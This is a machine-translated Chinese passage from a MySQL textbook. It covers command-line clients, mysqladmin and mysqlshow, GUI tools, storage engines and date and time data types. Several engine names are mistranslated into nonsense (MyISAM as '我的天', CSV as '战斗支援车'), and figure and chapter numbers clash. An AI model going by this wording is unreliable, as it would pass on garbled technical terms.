  • 许多查询产生的信息超过了一个屏幕所能容纳的范围。通过分配一个分页器,您可以告诉客户端一次显示一页结果。有效寻呼机的例子包括 Unix 命令moreless。目前,该命令仅在 Unix 平台上有效。您也可以在mysql客户端中使用\P命令设置一个寻呼机。

  • --password, -p:指定密码。请注意,您不应该像用户名或主机一样在命令行上提供密码,而是应该等待随后的提示,这样密码就不会以纯文本的形式存储在您的命令历史记录中。

  • --port=#, -P:指定主机连接端口。

  • --protocol=name : MySQL 支持内存、管道、套接字、tcp 四种连接协议。使用此选项指定您想要使用的协议:

    • TCP 协议:当客户端和服务器驻留在两台不同的机器上时,默认情况下使用,并且需要端口 3306 才能正常工作(端口号可以用--port更改)。如果客户端和服务器驻留在不同的计算机上,您需要使用 TCP,尽管当所有通信都在本地进行时您也可以使用它。

    • 套接字文件(Socket files ):一个 Unix 特有的特性,它有助于两个不同程序之间的通信,当通信在本地进行时,它是默认的。

    • 共享内存:一种 Windows 独有的功能,它使用一个公共内存块来实现通信。

    • 命名管道(Named pipes ):一个仅在 Windows 上使用的功能,其功能类似于 Unix 管道。

$ mysql -u root -p -e "USE corporate; SELECT * from product;"

注意

默认情况下,不会启用上述两个特定于 Windows 的选项(TCP 是 Windows 上本地和远程通信的默认选项)。

  • -- safe-updates , -U:使mysql忽略所有省略了WHERE子句的DELETEUPDATE查询。这是防止意外批量删除或修改的特别有用的保护措施。有关这个选项的更多信息,请参阅“有用的 mysql 技巧”一节。

  • -- skip-column-names:默认情况下,mysql在每个结果集的顶部包含包含列名的标题。您可以使用此选项禁止包含这些头。

  • --tee=name:使mysql将所有命令和结果输出记录到name指定的文件中。这对于调试特别有用。在 MySQL 内部,您可以通过发出命令notee随时禁用日志记录,并可以在以后使用命令tee重新启用它。有关该选项的更多信息,请参见“有用的 mysql 技巧”一节中的相应技巧。

  • --vertical-E:使mysql以垂直格式显示所有查询结果。当您处理包含多列的表格时,这种格式通常更可取。有关该选项的更多信息,请参见“有用的 mysql 技巧”一节中的相应技巧。

  • --xml-X:将所有结果以 XML 格式输出。有关该选项的更多信息,请参见“有用的 mysql 技巧”一节中的相应技巧。

mysqladmin 客户端

mysqladmin客户机用于执行各种各样的管理任务,可能最显著的是创建和销毁数据库、监控服务器状态以及关闭 MySQL 服务器守护进程。像mysql一样,你需要传递必要的访问凭证来使用mysqladmin

例如,您可以通过执行以下命令来检查所有服务器变量及其值

%>mysqladmin -u root -p variables
Enter password:
+-------------------------------------+
| Variable_name             | Value   |
+-------------------------------------+
| auto_increment_increment  |  1      |
| auto_increment_offset     |  1      |
| autocommit                | ON      |
…
| version_compile_os        | osx10.6 |
| wait_timeout              | 28800   |

如果您提供了有效的凭证,将会滚动一长串参数和相应的值。如果您想浏览结果,如果您使用的是 Linux,您可以通过管道将该输出发送到moreless,如果您使用的是 Windows,则发送到more

mysqladmin 命令

虽然mysql本质上是一个自由格式的 SQL shell,允许 MySQL 识别任何 SQL 查询,但是mysqladmin的范围要有限得多,只能识别一组预定义的命令;这里介绍最常用的:

  • create databasename:新建一个数据库,其名称由 databasename 指定。请注意,每个数据库必须拥有唯一的名称。尝试使用现有数据库的名称创建数据库将导致错误。

  • drop databasename:删除一个现有的数据库,其名称由 databasename 指定。提交删除数据库的请求后,系统会提示您确认请求,以防止意外删除。

  • extended-status:提供关于服务器状态的扩展信息。这与从mysql客户端中执行show status是一样的。

  • flush-privileges:重新加载权限表。如果您使用的是GRANTREVOKE命令,而不是使用 SQL 查询直接修改特权表,那么您不需要使用这个命令。

  • kill id[,id2[,id N ]]:终止idid2idN指定的进程。您可以使用processlist命令查看进程号。

  • old-password new-password:使用 MySQL 4.1 之前的密码哈希算法,将-u指定的用户密码更改为new-password

  • password new-password:使用后 MySQL 4.1 密码哈希算法将-u指定的用户密码更改为new-password

  • ping:通过 pinged MySQL 服务器来验证它是否正在运行,就像 web 或邮件服务器可能被 ping 一样。

  • processlist:显示所有正在运行的 MySQL 服务器守护进程列表。

  • shutdown:关闭 MySQL 服务器守护进程。注意,您不能使用 mysqladmin 重启守护进程。相反,它必须使用第二十六章中介绍的机制重新启动。

  • stat us:输出各种服务器统计数据,比如正常运行时间、执行的查询总数、打开的表、平均每秒查询数和运行的线程。

  • variables:输出所有服务器变量及其对应的值。

  • version:输出版本信息和服务器统计。

让我们考虑几个简单的例子。如果您想快速创建一个新的数据库,您可以使用create命令:

$ mysqladmin -u -p create dev_gamenomad_com
Enter password:

您可以使用processlist命令查看正在运行的 MySQL 进程列表:

$ mysqladmin -u root -p processlist
Enter password:
+----+-----+----------+----------------+--------+------+-----+------------+
| Id | User| Host     |db              | Command| Time |State| Info       |
+----+-----+----------+----------------+--------+------+-----+------------+
| 387| root| localhost|local_apress_mis| Sleep  | 7071 |     |            |
| 401| root| localhost|                | Query  | 0    |     | show                                                                processlist|
+----+-----+----------+----------------+--------+------+-----+------------+

尽管有太多基于 GUI 的管理工具,但我倾向于将大部分 MySQL 管理时间花在mysql客户机上,用它来完成大多数管理任务。然而,当需要快速查看系统状态或配置信息时,我会使用mysqladmin(分别通过extended-statusvariables命令),将这些命令与 Unix 的grepless命令结合起来。在 Windows 上,可以在 Windows 7 的 findstr 或 PowerShell 中找到类似的功能。

其他有用的客户端

本节涵盖了 MySQL 的其他几个本地客户端。像mysqlmysqladmin客户端一样,本节介绍的所有实用程序都可以通过--help选项调用。

注意

两个非常有用的导出数据的客户端是mysqlhotcopymysqldump;然而,我将放弃在这里介绍它们,把这些介绍留到第三十五章中,在那里我将全面概述 MySQL 的各种数据导入和导出功能。

MySQL show(MySQL 显示)

mysqlshow实用程序提供了一种便捷的方式来快速查看给定数据库服务器上存在哪些数据库、表和列。其用法语法如下:

mysqlshow [options] [database [table [column]]]

例如,假设您想要查看所有可用数据库的列表:

%>mysqlshow -u root -p
Enter password:
+------------------------------+
|          Databases           |
+------------------------------+
| information_schema           |
| employees                    |
| mysql                        |
| test                         |
+------------------------------+

要查看特定数据库(如employees)中的所有表,请使用以下命令:

%>mysqlshow -u root -p employees
Enter password:
Database: employees
+--------------+
|    Tables    |
+--------------+
| departments  |
| dept_emp     |
| dept_manager |
| employees    |
| salaries     |
| titles       |
+--------------+

要查看特定表中的所有列,如employee数据库的salaries表,请使用以下命令:

%>mysqlshow -u root -p employees salaries
Enter password:
Database: employees  Table: salaries
+---------+------+---------+---+----+-------+-----+----------------+------+
| Field   |Type  |Collation|Null|Key|Default|Extra|Privileges      |Comment|
+---------+------+---------+----+---+-------+-----+----------------+------+
| emp_no  |int(11)|         |NO  |PRI|       |     |select, insert,                                                  update,references|      |
| salary  |int(11)|         |NO  |   |       |     |select, insert,                                                  update,references|      |
| from_date|date  |         |NO  |PRI|       |     |select,insert,                                                  update,references|      |
| to_date |date   |         |NO  |   |       |     |select,insert,                                                  update,references|      |
+-------+---------+---------+----+---+-------+-----+---------------+------+

请注意,显示的内容完全取决于提供的凭据。在前面的例子中,使用了root用户,这意味着所有信息都由用户处理。但是,其他用户可能没有如此广泛的访问权限。因此,如果您对调查所有可用的数据结构感兴趣,请使用root用户。

有用的 GUI 客户端程序

认识到不是所有的用户都特别喜欢从命令行工作,许多公司和开源团队提供了奇妙的、基于图形的数据库管理解决方案。几年来,MySQL 团队实际上维护了几个不同的基于 GUI 的管理产品;然而,它们最终被合并到一个名为 MySQL Workbench 的项目中。MySQL Workbench 旨在成为管理 MySQL 服务器所有方面的一站式商店,包括模式、用户和表数据。

MySQL Workbench 可以在所有标准平台上使用,包括 Linux、OS X 和 Windows。如果您想自己构建,也可以使用源代码。前往 https://dev.mysql.com/downloads/tools/workbench 获取适合您平台的版本。

一旦安装完毕,我建议花些时间探索 MySQL Workbench 的许多特性。我发现基于 GUI 的模式设计和正向工程特性是必不可少的(图 27-1 ),因为它允许您使用方便的点击式界面设计和维护数据库模式,而不是手工编写模式命令。

img/314623_5_En_24_Fig1_HTML.jpg

图 27-1

MySQL 工作台

phpMyAdmin

phpMyAdmin 是一个用 PHP 编写的基于 web 的 MySQL 管理应用,被成千上万的开发人员使用,实际上是全球虚拟主机提供商的主要产品。它自 1998 年以来一直在积极开发,但由于热情的开发团队和用户社区,它的功能也很丰富。作为这款产品的长期用户,很难想象没有它会怎样。

phpMyAdmin 提供了许多引人注目的特性:

  • 管理员可以完全控制用户权限、密码和资源使用,以及创建、删除甚至复制用户帐户。

  • 实时界面可用于查看正常运行时间信息、查询和服务器流量统计、服务器变量和正在运行的进程。

  • 来自世界各地的开发人员已经将 phpMyAdmin 的界面翻译成 50 多种语言,包括英语、中文(繁体和简体)、阿拉伯语、法语、西班牙语、希伯来语、德语和日语。

  • phpMyAdmin 提供了一个高度优化的点击式界面,大大降低了用户引发错误的可能性。

img/314623_5_En_24_Fig2_HTML.jpg

图 27-2

在 phpMyAdmin 中查看数据库

  • phpMyAdmin 是基于浏览器的,允许您从任何可以访问 Web 的地方轻松管理远程 MySQL 数据库。还透明地支持 SSL,如果您的服务器提供这一特性,则允许加密管理。用于管理数据库表的界面截图如图 27-2 所示。

phpMyAdmin 是在 GNU 通用公共许可证下发布的。phpMyAdmin 的官方网站, http://phpmyadmin.net ,提供源代码下载、新闻、邮件列表、现场演示等等。

clinets 到 MySQL 和 MariaDB 还有很多其他选择;Webyog/SQLyog,HeidiSQL,dbForge Studio for MariaDB 仅举几例。像 PHP Storm 这样的现代编辑器也支持直接的数据库连接,这在处理 SQL 文件时非常方便。

摘要

本章介绍了 MySQL 的众多客户端,重点介绍了mysqlmysqladmin。还介绍了几种最流行的基于 GUI 的管理解决方案。因为管理是维护健康的数据库服务器的一个关键方面,所以考虑尝试所有这些方法,以确定哪种方法最适合您的特定数据库管理情况。

下一章将讨论 MySQL 的另一个关键方面:表结构和数据类型。您将了解各种表类型以及支持的数据类型和属性;您还将看到许多关于如何创建、修改和使用数据库、表和列的示例。

二十五、MySQL 存储引擎和数据类型

花时间正确设计项目的表结构是项目成功的关键。忽略这一点不仅会对存储需求造成可怕的后果,还会影响应用的性能、可维护性和数据完整性。在这一章中,你将更加熟悉 MySQL 表设计的许多方面。根据其结论,您将熟悉以下主题:

  • MySQL 的关键存储引擎,即 ARCHIVE、BLACKHOLE、CSV、EXAMPLE、FEDERATED、InnoDB、MEMORY(原 HEAP)、MERGE、MyISAM 的用途、优缺点及相关配置参数。

  • MySQL 支持的数据类型的用途和范围。为了便于以后参考,这些数据类型分为三类:日期和时间、数字和文本。

  • MySQL 的表属性,用于进一步修改数据列的行为。

  • 用于创建、修改、导航、查看和更改数据库和表的 MySQL 命令。

存储引擎

关系数据库是用于存储和组织信息的数据结构。你可以把一个表格想象成由组成的网格,就像一个电子表格。例如,您可以设计一个用于存储员工联系信息的表,该表可能由五列组成:员工 ID、名字、姓氏、电子邮件地址和电话号码。对于一个由四名雇员组成的组织,这个表将由四行组成,即记录。尽管这个例子过于简单,但它清楚地描述了表的用途:作为一种易于访问的工具来存储一般数据。

然而,数据库表还有许多其他用途,其中一些相当复杂。例如,数据库也通常用于存储交易信息。一个事务是一组任务,共同被认为是一个工作单元。如果所有的单元任务都成功,那么表的改变将被执行,或者提交。如果任何一个任务失败,那么前面和正在进行的任务的所有结果都必须被取消,或者回滚。您可能会将事务用于用户注册、银行业务或电子商务等过程,在这些过程中,必须正确执行所有步骤以确保数据一致性。正如您所想象的,由于表中必须包含额外的特性,这样的功能需要一些开销。

注意

MySQL 的事务特性在第三十四章中介绍。

有些表根本不打算存储任何长期信息,实际上完全是在服务器的 RAM 或一个特殊的临时文件中创建和维护的,以确保高性能,但存在高波动性的风险。其他表的存在只是为了简化对一组相同表的维护和访问,为同时与所有表进行交互提供一个单一的界面。还存在其他特殊用途,但重点已经提出:MySQL 支持许多类型的表,也称为存储引擎,每种都有其特定的用途、优点和缺点。本节介绍 MySQL 支持的存储引擎,概述每个引擎的用途、优点和缺点。与其按字母顺序介绍存储引擎,不如从最常用的存储引擎(如 InnoDB)开始介绍,最后介绍用于更具体用途的存储引擎:

  • InnoDB

  • 我的天

  • 记忆

  • 合并

  • 联邦的

  • 档案馆

  • 战斗支援车

  • 例子

  • 黑洞

存储引擎演示之后是常见问题解答部分,用于解决与存储引擎相关的其他问题。

InnoDB

InnoDB 是一个健壮的事务存储引擎,在 GNU 通用公共许可证(GPL)下发布,十多年来一直在积极开发中。InnoDB 为用户提供了处理超大型数据存储的强大解决方案。从 3.23.34a 版开始,MySQL 用户就可以使用它了,事实证明,对于事务性应用来说,它是一个非常流行和有效的解决方案,从 4.0 版开始,默认情况下就启用了支持。

尽管 InnoDB 通常与其他存储引擎放在一起,正如这里所做的那样,但它实际上是一个完整的数据库后端。InnoDB 表资源使用专用缓冲区进行管理,可以像控制任何其他 MySQL 配置参数一样对其进行控制。InnoDB 还通过行级锁定和外键约束为 MySQL 带来了其他巨大的进步。

InnoDB 表非常适合以下场景,其中包括:

  • 更新密集型表:InnoDB 存储引擎特别擅长处理多个同步更新请求。

  • 事务:InnoDB 存储引擎是唯一支持事务的标准 MySQL 存储引擎,这是管理财务或用户注册信息等敏感数据的必备功能。

  • 自动崩溃恢复:与其他存储引擎不同,InnoDB 表能够从崩溃中自动恢复。虽然 MyISAM 表也可以在崩溃后修复,但这个过程可能会花费很长时间。还提供了一个名为 Aria 的 MyISAM 崩溃安全版本。

我的天

MyISAM 曾经是 MySQL 的默认存储引擎。它解决了其前身(ISAM)的一些缺陷。首先,MyISAM 表是独立于操作系统的,这意味着您可以轻松地将它们从 Windows 服务器移植到 Linux 服务器。此外,MyISAM 表通常能够存储更多的数据,但其存储空间比旧表要少。MyISAM 表还可以方便地使用许多数据完整性和压缩工具,这些工具都与 MySQL 捆绑在一起。

MyISAM 表不能处理事务,当性能成为问题时,它比 InnoDB 更受青睐。随着时间的推移,InnoDB 的性能有所提高,在大多数情况下这不再是一个问题。当应用于以下场景时,MyISAM 存储引擎表现得尤为出色:

  • 选择密集型表:MyISAM 存储引擎筛选大量数据的速度非常快,即使在高流量环境中也是如此。

  • 追加密集型表 : MyISAM 的并发插入特性允许同时选择和插入数据。例如,MyISAM 存储引擎非常适合管理邮件或 web 服务器日志数据。

米沙姆静态

如果所有表列的大小都是静态的(即不使用xBLOBxTEXTVARCHAR数据类型),MySQL 会自动使用静态 MyISAM 变量。这种类型的表性能特别高,因为维护和访问以预定义格式存储的数据所需的开销很低,更不用说它最不可能因数据损坏而失败。但是,这种优势是以空间为代价的,因为每一列都需要为每一列分配最大的空间,而不管该空间实际上是否被使用。以两个用于存储用户信息的完全相同的表为例。一个表authentication_static使用静态的CHAR数据类型来存储用户的用户名和密码:

CREATE TABLE authentication_static (
   id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
   username CHAR(15) NOT NULL,
   pswd CHAR(15) NOT NULL,
   PRIMARY KEY(id)
   ) ENGINE=MyISAM;

另一个表 authentication_dynamic 使用动态 VARCHAR 数据类型:

CREATE TABLE authentication_dynamic (
   id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
   username VARCHAR(15) NOT NULL,
   pswd VARCHAR(15) NOT NULL,
   PRIMARY KEY(id)
   ) ENGINE=MyISAM;

因为authentication_static只使用静态字段,所以它自动采用 MyISAM-static 形式(尽管甚至在使用数据类型如VARCHARNUMERICDECIMAL时也可以强制 MySQL 使用静态形式),而另一个表authentication_dynamic采用 MyISAM-dynamic 形式(下一节将介绍)。现在在每个中插入一行:

INSERT INTO authentication_static SET id=NULL, username="jason", pswd="secret";
INSERT INTO authentication_dynamic SET id=NULL, username="jason", pswd="secret";

将这一行插入每一行将导致authentication_staticauthentication_dynamic大 60%多一点(33 字节对 20 字节),因为静态表总是占用表定义中指定的空间,而动态表只占用插入数据所需的空间。但是,不要把这个例子看作是对仅仅坚持 MyISAM-dynamic 格式的有力支持。下一节讨论此存储引擎的特征,包括其缺点。

米沙姆动态

如果有一个表列被定义为动态的,MySQL 就会自动使用动态变量(使用xBLOBxTEXTVARCHAR)。尽管 MyISAM-dynamic 表比它的静态表占用更少的空间,但是节省空间会带来性能上的损失。如果一个字段的内容发生变化,那么这个位置可能需要移动,从而导致碎片。随着数据集变得越来越碎片化,数据访问性能将会受到相应的影响。有两种方法可以解决这个问题:

  • 尽可能使用静态数据类型。

  • 定期使用OPTIMIZE TABLE语句,该语句对表进行碎片整理,并恢复由于表更新和删除而随着时间推移而丢失的空间。

米色压缩

有时,您会创建在应用的整个生命周期中都是只读的表。如果是这种情况,您可以通过使用 myisampack 实用工具将它们转换为 MyISAM 压缩的表,从而显著减小它们的大小。给定某些硬件配置(例如,快速处理器和慢速硬盘),性能节省可能是显著的。

记忆

MySQL 的内存存储引擎的创建只有一个目标:速度。为了获得最快的响应时间,逻辑存储介质是系统内存。虽然将表数据存储在内存中确实提供了令人印象深刻的性能,但是请记住,如果 MySQL 守护进程崩溃,所有内存数据都将丢失。

注意

从 4.1 版开始,这个存储引擎从堆重命名为内存。然而,因为这个存储引擎长期以来一直是 MySQL 的一部分,所以在文档中您仍然会经常看到它的旧名称。此外,堆仍然是内存的同义词。

这种速度的提高是以几个缺点为代价的。例如,内存表不支持VARCHARBLOBTEXT数据类型,因为这种表类型是以固定记录长度格式存储的。当然,您应该记住,内存表是为特定的范围设计的,而不是为数据的长期存储设计的。当您的数据属于以下情况时,您可以考虑使用内存表:

  • 可忽略的:与可用的系统内存相比,目标数据相对较小,并且访问非常频繁。请记住,将数据存储在内存中可以防止内存被用于其他目的。注意,可以用参数max_heap_table_size控制内存表的大小。该参数作为资源保护措施,对内存表的大小设置了最大限制。

  • 瞬态:目标数据只是暂时需要,在其生命周期内必须立即可用。

  • 相对无关紧要:存储在内存表中的数据突然丢失不会对应用服务产生任何实质性的负面影响,当然也不会对数据完整性产生长期影响。

哈希索引和 B 树索引都受支持。B 树索引相对于散列的优势在于可以使用部分和通配符查询,并且可以使用诸如<>>=之类的操作符来促进数据挖掘。

您可以在创建表时指定与USING子句一起使用的版本。以下示例在username列上声明了一个散列索引:

CREATE TABLE users (
   id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
   username VARCHAR(15) NOT NULL,
   pswd VARCHAR(15) NOT NULL,
   INDEX USING HASH (username),
   PRIMARY KEY(id)
   ) ENGINE=MEMORY;

相比之下,以下示例在同一列上声明了一个 B 树索引:

CREATE TABLE users (
   id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,
   username VARCHAR(15) NOT NULL,
   pswd VARCHAR(15) NOT NULL,
   INDEX USING BTREE (username),
   PRIMARY KEY(id)
   ) ENGINE=MEMORY;

合并

MyISAM 还提供了一个额外的变体,虽然没有其他的那么常用,但是在某些情况下还是很有用的。这种变体称为合并表,实际上是相同的 MyISAM 表的集合。这为什么有用?考虑到数据库经常被用于存储特定时间的数据:销售信息、服务器日志和航班时刻表都是首选。然而,这样的数据存储很容易变得过大并且非常笨拙。因此,一种常见的存储策略是将数据分成多个表,每个表的名称对应一个特定的时间段。例如,可能会使用 12 个相同的表来存储服务器日志数据,每个表都有一个对应于一年中每个月的名称。但是,基于分布在所有 12 个表中的数据的报告是必要的,这意味着需要编写和更新多表查询来反映这些表中的信息。与其编写这种可能容易出错的查询,不如将这些表合并在一起,使用单个查询来代替。稍后可以删除合并表,而不会影响原始数据。

联邦的

许多环境倾向于在一台服务器上运行 Apache、MySQL 和 PHP。实际上,这对于许多目的来说都很好,但是如果您需要从许多不同的 MySQL 服务器上聚集数据,其中一些服务器位于网络之外或者完全属于另一个组织,该怎么办呢?因为很久以前就可以连接到远程 MySQL 数据库服务器(更多细节见第二十四章),所以这并不是一个问题;然而,管理到每个独立服务器的连接的过程可能很快变得乏味。为了缓解这个问题,您可以使用联邦存储引擎创建一个指向远程表的本地指针,该引擎从 MySQL 5.0.3 开始提供。这样做允许您执行查询,就像表驻留在本地一样,省去了分别连接到每个远程数据库的麻烦。

注意

默认情况下不会安装联邦存储引擎,所以您需要使用选项--with-federated-storage-engine来配置 MySQL,以便利用它的特性。此外,MySQL 服务器必须使用- federated 选项启动。

因为创建联邦表的过程与创建其他表的过程有些不同,所以需要一些额外的解释。如果您不熟悉一般的表创建语法,可以在继续之前直接跳到“使用数据库和表”一节。假设一个名为 products 的表驻留在远程服务器(称为服务器 A)上的公司数据库中。该表如下所示:

CREATE TABLE products (
   id SMALLINT NOT NULL AUTO_INCREMENT PRIMARY KEY,
   sku CHAR(8) NOT NULL,
   name VARCHAR(35) NOT NULL,
   price DECIMAL(6,2)
) ENGINE=MyISAM;

假设您想从其他服务器(称为服务器 B)访问这个表。为此,在服务器 B 上创建一个相同的表结构,惟一的区别是表引擎类型应该是 FEDERATED 而不是 MyISAM。此外,必须提供连接参数,这允许服务器 B 与服务器 A 上的表进行通信:

CREATE TABLE products (
   id SMALLINT NOT NULL AUTO_INCREMENT PRIMARY KEY,
   sku CHAR(8) NOT NULL,
   name VARCHAR(35) NOT NULL,
   price DECIMAL(6,2)
   ) ENGINE=FEDERATED
  CONNECTION='mysql://remoteuser:secret@192.168.1.103/corporate/products';

连接字符串应该相当容易理解,但是有几点值得注意。首先,由用户名remoteuser和密码secret标识的用户必须驻留在服务器 A 上的mysql数据库中。其次,由于该信息将通过可能不安全的网络传输到服务器 A,第三方不仅可能捕获认证变量,还可能捕获表数据。参见第二十六章,了解如何降低第三方获取这些数据的可能性,以及在万一发生的情况下,如何限制潜在影响。

创建后,您可以通过访问服务器 b 上的products表来访问服务器 A 的products表。此外,如果连接字符串中分配的用户拥有必要的权限,也可以添加、修改和删除驻留在这个远程表中的数据。

档案馆

即使现在有了低成本、高容量的存储设备,银行、医院和零售商等组织也必须特别注意以尽可能高效的方式存储大量数据。因为这些数据通常必须保留很长一段时间,即使可能很少被访问,压缩这些数据是有意义的,只在必要时才解压缩。为了满足这些目的,在版本 4.1.3 中添加了归档存储引擎。

归档存储引擎通过使用 zlib 压缩库( https://www.zlib.net )极大地压缩在这种类型的表中找到的任何数据,并在请求记录时动态地解压缩它。除了选择记录之外,还可以插入记录,这在将老化数据迁移到归档表中变得可行时是必要的。但是,不可能删除或更新存储在这些表中的任何数据。

请注意,存储在存档表中的任何数据都不会被索引,这意味着SELECT操作可能相当低效。如果出于某种原因,您需要对归档表执行扩展分析,那么将该表转换为 MyISAM 并重新创建必要的索引可能是有意义的。有关如何在引擎之间转换的信息,请参见本章后面的“存储引擎常见问题”。

战斗支援车

CSV 存储引擎以逗号分隔的格式存储表格数据,类似于许多应用(如 OpenOffice 和 Microsoft Office)支持的格式。

虽然您可以像访问和操作任何其他类型的表一样访问和操作 CSV 表,例如 MyISAM,但是 CSV 表实际上是文本文件。这有一个有趣的含义,即您实际上可以将一个现有的 CSV 文件复制到 MySQL 的指定数据文件夹中的相应数据文件(标有.csv扩展名)上。此外,鉴于 CSV 文件的特殊格式,不可能利用典型的数据库特性,如索引。

例子

因为 MySQL 的源代码是免费的,你可以自由地修改它,只要你遵守它各自的许可条款。意识到开发人员可能希望创建新的存储引擎,MySQL 提供了示例存储引擎作为理解如何创建这些引擎的基本模板。

黑洞

从 MySQL 4.1.11 开始,黑洞存储引擎的运行方式就像 MyISAM 引擎一样,只是它不会存储任何数据。您可以使用这个引擎来衡量日志记录所带来的开销,因为即使不存储数据,也仍然可以记录查询。

小费

黑洞存储引擎默认是不启用的,所以你需要在配置时包含选项--with-blackhole-storage-engine来使用它。

存储引擎常见问题

围绕与存储引擎相关的各种问题,经常会有一些混淆。因此,本节专门解决有关存储引擎的常见问题。

我的服务器上有哪些存储引擎可用?

要确定 MySQL 服务器可以使用哪些引擎,请执行以下命令:

mysql>SHOW ENGINES;

因为默认情况下有几个引擎是不启用的,所以如果您想要的引擎没有在列表中找到,您可能需要用一个启用该引擎的标志来重新配置 MySQL。

对于 CentOS 7 平台上的 MariaDB,列表如下所示:

+--------------------+---------+------------------------------------------+
| Engine             | Support | Comment                                  |
+--------------------+---------+------------------------------------------+
| CSV                | YES     | CSV storage engine                       |
| MRG_MYISAM         | YES     | Collection of identical MyISAM tables    |
| MEMORY             | YES     | Hash based, stored in memory, useful                                  for temporary tables                     |
| BLACKHOLE          | YES     | /dev/null storage engine (anything you                                  write to it disappears)                 |
| MyISAM             | YES     | MyISAM storage engine                    |
| InnoDB             | DEFAULT | Percona-XtraDB, Supports transactions,                                  row-level locking, and foreign keys      |
| ARCHIVE            | YES     | Archive storage engine                   |
| FEDERATED          | YES     | FederatedX pluggable storage engine      |
| PERFORMANCE_SCHEMA | YES     | Performance Schema                       |
| Aria               | YES     | Crash-safe tables with MyISAM heritage   |
+--------------------+---------+------------------------------------------+

该列表没有显示输出的最后三列。注意,InnoDB 是 Linux 上的默认引擎。InnoDB 的版本由一家名为 Percona 的公司提供。他们对 InnoDB 的原始版本进行了增强。

我如何利用 Windows 上的存储引擎?

默认情况下,当运行 MySQL 5.0 或更高版本时,归档、黑洞、CSV、示例、联邦、InnoDB、内存、合并和 MyISAM 存储引擎在 Windows 上可用。注意,当使用 MySQL 配置向导安装 MySQL 时,InnoDB 是默认的(参见第二十三章)。要使用其他受支持的类型,您需要安装 Max 版本或从源代码构建 MySQL。

在同一个数据库中使用多个存储引擎有错吗?

一点也不。事实上,除非您正在处理一个特别简单的数据库,否则您的应用很可能会从使用多个存储引擎中受益。仔细考虑数据库中每个表的用途和行为并相应地选择合适的存储引擎总是一个好主意。不要偷懒,只使用默认的存储引擎;从长远来看,这可能会对应用的性能产生不利影响。

如何在创建时指定存储引擎或在以后更改它?

您可以在创建时通过传递属性TYPE=TABLE_TYPE . You来选择性地分配存储引擎,稍后可以使用ALTER命令或使用 MySQL 发行版附带的mysql_convert_table_format脚本来转换一个表,或者使用 manu GUI 客户端中的一个提供了一种简单的方法来实现这一点。

我需要速度!最快的存储引擎是什么?

因为内存表存储在内存中,所以它们提供了极快的响应时间。但是,请记住,存储在内存中的任何东西都是非常不稳定的,如果服务器或 MySQL 崩溃或关闭,这些东西就会消失。尽管内存表确实有重要的用途,但是如果速度是您的目标,您可能需要考虑其他优化途径。您可以从花时间正确设计您的表开始,始终选择最佳的数据类型和存储引擎。此外,要努力优化您的查询和 MySQL 服务器配置,当然永远不要吝啬服务器硬件。此外,您可以利用 MySQL 的特性,比如查询缓存。

数据类型和属性

对放入 MySQL 表中每一列的数据进行严格的控制,对于数据驱动的应用的成功至关重要。例如,您可能希望确保该值不超过最大限制,不超出特定格式的界限,或者甚至将允许的值约束到预定义的集合中。为了帮助完成这项任务,MySQL 提供了一组数据类型,可以将它们分配给表中的每一列。每种方法都强制数据符合该数据类型固有的一组预定规则,例如大小、类型(例如字符串、整数或小数)和格式(例如确保它符合有效的日期或时间表示)。

通过包含属性,可以进一步调整这些数据类型的行为。本节介绍 MySQL 支持的数据类型和许多常用的属性。因为许多数据类型支持相同的属性,所以属性定义不会在每个数据类型部分重复;相反,属性定义分组在“数据类型”一节后面的“数据类型属性”标题下。

数据类型

本节介绍 MySQL 支持的数据类型,提供关于每种数据类型的名称、用途、格式和范围的信息。为了便于以后参考,它们分为三类:日期和时间、数字和字符串。

日期和时间数据类型

许多类型可用于表示基于时间和日期的数据。

日期

日期数据类型负责存储日期信息。虽然 MySQL 以标准的YYYY-MM-DD格式显示DATE值,但是可以使用数字或字符串插入这些值。例如,201008102010-08-10都将被接受为有效输入。范围是1000-01-019999-12-31

注意

对于所有日期和时间数据类型,MySQL 将接受任何类型的非字母数字分隔符来分隔各种日期和时间值。比如200808102008*08*10201008102010!08!10就 MySQL 而言都是一样的。

DATETIME

DATETIME数据类型负责存储日期和时间信息的组合。与DATEDATETIME一样,值以标准格式存储,YYYY-MM-DD HH:MM:SS;可以使用数字或字符串插入值。例如,201008101535102010-08-10 15:35:10都将被接受为有效输入。DATETIME的范围是1000-01-01 00:00:009999-12-31 23:59:59

时间

TIME数据类型负责存储时间信息,并支持足够大的范围,不仅可以表示标准和军事风格的时间格式,还可以表示扩展的时间间隔。这个范围是–838:59:59838:59:59

时间戳[默认][更新时]

TIMESTAMP数据类型与DATETIME不同,MySQL 的默认行为是每当执行影响它的INSERTUPDATE操作时,自动将其更新为当前日期和时间。TIMESTAMP值以HH:MM:SS格式显示,并且,像DATEDATETIME数据类型一样,您可以使用数字或字符串赋值。TIMESTAMP的范围是1970-01-01 00:00:012037-12-31 23:59:59。它的存储要求是 4 字节。

警告

当无效值被插入到DATEDATETIMETIMETIMESTAMP列时,它会显示为一串根据数据类型的规范格式化的零。

TIMESTAMP列长期以来一直是开发人员困惑的来源,因为如果没有正确定义,它可能会出现意想不到的行为。为了消除一些混淆,这里提供了一系列不同的定义和相应的解释。对于表中定义的第一个时间戳,现在可以分配默认值。您可以为它指定值 CURRENT_TIMESTAMP 或某个常量值。将其设置为常量意味着无论何时更新行,时间戳都不会改变。

  • TIMESTAMP DEFAULT 20080831120000:从版本 4.1.2 开始,表中定义的第一个TIMESTAMP将接受默认值。

  • TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP:表中定义的第一个时间戳列采用当前时间戳的值,并且每次更新行时都更新为当前时间戳。

  • TIMESTAMP:当表格中的第一个TIMESTAMP列如此定义时,等同于同时用DEFAULT CURRENT_TIMESTAMPON UPDATE CURRENT_TIMESTAMP定义。

  • TIMESTAMP DEFAULT CURRENT_TIMESTAMP:表中定义的第一个TIMESTAMP列采用当前时间戳的值,但它不会在每次更新行时更新为当前时间戳。

  • TIMESTAMP ON UPDATE CURRENT_TIMESTAMP:当插入行时,表中定义的第一个TIMESTAMP列被赋予0,当行被更新时,它被更新为当前的时间戳。

年份[(2|4)]

YEAR数据类型负责存储特定于年份的信息,根据上下文支持多个范围:

  • 两位数 : 199。范围在169之间的值被转换成范围在20012069之间的值,而范围在7099之间的值被转换成范围在19701999之间的值。

  • 四位数字 : 19012155

